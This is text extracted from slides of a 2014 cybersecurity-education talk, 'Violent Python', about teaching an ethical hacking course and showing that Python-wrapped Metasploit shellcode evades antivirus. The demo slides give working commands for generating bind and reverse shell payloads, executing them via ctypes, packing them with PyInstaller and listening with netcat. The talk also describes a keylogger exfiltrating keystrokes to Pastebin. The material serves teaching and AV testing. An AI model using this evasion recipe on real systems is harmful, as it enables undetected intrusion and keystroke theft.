Violent
Python
Innova/ons
in
Cybersecurity
Educa/on
Workshop
June
24,
2014
Bio
Pedagogy
Diversity
in
Educa/on
• Students
have
different
previous
experience,
knowledge
and
goals
• They
aren't
all
going
to
learn
the
same
things
in
the
same
class
• My
goal
is
NOT
to
make
them
all
achieve
the
same
proficiency
• My
goal
is
to
provide
every
student
with
material
they
can
grasp
and
interes/ng
challenges
Beginners
• Textbook
that
covers
the
material
• Online
training
at
CodeCademy
• DVDs
with
virtual
machines
ready
to
go
• Hands-‐on
projects
with
complete
step-‐by-‐step
instruc/ons
• Lab
/me
aSer
each
class
with
the
instructor
available
to
help
• Extensive
open
lab
/me
Average
Students
• Configure
their
own
home
machines
to
do
the
projects
• Work
at
home,
with
no
instructor
available
• Simple
challenge
projects
without
instruc/ons
Advanced
Students
• Advanced
challenges
• Online
security
puzzle
sites
• Cyber
compe//ons
• Following
the
news,
independent
work
on
cuWng-‐edge
topics
Independent
Projects
• Students
can
get
extra
credit
by
– AXending
other
training
events
– In-‐class
presenta/ons
– Researching
other
tools
or
techniques
Grading
• Must
achieve
a
level
of
points
to
get
a
good
grade
• Many
possible
combina/ons
of
projects
can
get
there
• May
skip
the
final
exam
CNIT
124
Advanced
Ethical
Hacking
Two
Textbooks
Required
Op/onal
Violent
Python
• Good
coding
principles
– Excep/on
handling
– Modular
design
– Op/miza/on
– Commen/ng
– Flow
charts
• FORGET
THEM
ALL
Violent
Python
• We
are
hackers
• We
are
here
to
BREAK
STUFF
• It
should
be
fast
and
easy
for
a
complete
novice
to
hack
together
a
simple
script
to
do
something
fun!
Projects
An/virus
Ungh!
Good
God
y'all...
What
is
it
GOOD
For?
Mikko
Hypponen
Video
Metasploit
Payloads
Metasploit
• Hundreds
of
payloads
• The
simplest
one:
bind_tcp
• Listens
on
a
TCP
port
for
commands
Simple
Reverse
Shell
• One
command
to
produce
very
simple
Windows
EXE
malware
An/virus
Catches
It
Norton
v.
Shell.exe
Norton
Iden/fies
the
Metasploit
Packer
VirusTotal:
37/49
Detec/ons
How
to
Become
007
Python
v.
AV
Round
1
shell_bind_tcp
Export
Metasploit
Payloads
to
C
Use
Ctypes
Python
Library
Compile
it
on
Windows
• Install
these
things,
in
order
– Python
2.7
– PyWin32
– pip-‐Win
– PyInstaller
• This
creates
an
EXE
file
that
listens
on
a
TCP
port
DEMO
• On
Kali
msfpayload windows/shell_bind_tcp C > foo!
nano foo!
• Change
top
to
from ctypes import *!
shellcode = (!
• Change
boXom
to
);!
memorywithshell = create_string_buffer(shellcode,
len(shellcode))!
shell = cast(memorywithshell,
CFUNCTYPE(c_void_p))!
shell()!
DEMO
• On
Windows,
in
pip-‐Win:
venv -c -i pyi-env-name!
pyinstaller --onefile --noconsole foo!
VirusTotal:
1/50
Detec/on
Norton
Support
• I
Tweeted
about
this,
and
@NortonSupport
replied
• VirusTotal
is
not
a
fair
test,
because
real
installed
Norton
uses
Heuris/c
Scanning
• @NortonSupport
gave
me
a
link
for
a
30-‐day
trial
version
:)
Norton
Wins!
Kaspersky
Wins!
• Avast!
doesn't
detect
it
• Kaspersky
detects
it
as
HEUR:Trojan.Win32.Generic
Python
v.
AV
Round
2
shell_bind_tcp
with
a
delay
DEMO
• On
Kali
cp foo foo2!
nano foo2!
x=raw_input("Press Enter to continue")!
• On
Windows,
in
pip-‐Win:
venv -c -i pyi-env-name!
pyinstaller --onefile foo2!
Norton,
Avast,
&
MSE
Lose!
Kaspersky
Wins!
Python
v.
AV
Round
3
shell_bind_tcp
in
two
stages
no
delay
Other
AV
• Tested
on
Mar
24,
2014
with
a
two-‐stage
reverse
shell
and
no
/me
delay
• Al
these
failed
– Norton
– Nod32
– Avast!
– 360
Internet
Security
– McAfee
– Kaspersky
Remember
Mikko?
F-‐Secure
Wins!
AV
Challenge
• Posted
April
3,
2014
• No
reply
from
AV
vendors,
but
Norton
improved
its
detec/on
aSer
that
– Now
a
delay
is
required
Python
v.
AV
Round
4
shell_bind_tcp
with
a
delay
INSTRUCTIONS
• On
Kali
msfpayload windows/shell_reverse_tcp
LHOST=192.168.119.252 C > rev!
nano rev!
• Change
top
to
x=raw_input("Press Enter to continue")!
from ctypes import *!
shellcode = (!
• Change
boXom
to
);!
memorywithshell = create_string_buffer(shellcode,
len(shellcode))!
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))!
shell()!
INSTRUCTIONS
• On
Windows,
in
pip-‐Win:
venv -c -i pyi-env-name!
pyinstaller --onefile rev!
• On
Kali
nc –lp 4444!
Norton
Loses
Kaspersky
Wins
Advanced
Malware
Protec/on
ty
@ChrisAbdalla_1
from
HP
ESP
TippingPoint
• A
friend
in
the
financial
industry
tested
Evil.exe
on
a
system
protected
by
FireEye
• FireEye
gives
no
alerts
and
lets
it
post
keystrokes
right
to
Pastebin
Python
Keylogger
Google
"Python
Keylogger"
• I
used
this
one
from
4
years
ago
Post
Keystrokes
to
Pastebin
Problem
• Pastebin
busted
me
for
making
too
many
pastes
in
a
24-‐hour
period
• So
I
wrote
my
own
Pastebin
imita/on
Kaspersky
&
Avast!
LOSE
Norton
WINS!
But
just
add
a
delay...
F-‐Secure
LOSES!
PRODUCT
ANNOUNCEMENT!
Ultra-‐Advanced
APT
Tool
samsclass.info/evil.exe
UNSTOPPABLE
• None
of
these
products
stop
it
– Norton
– McAfee
– Kaspersky
– Nod32
– F-‐Secure
– Avast!
– MicrosoS
Security
Essen/als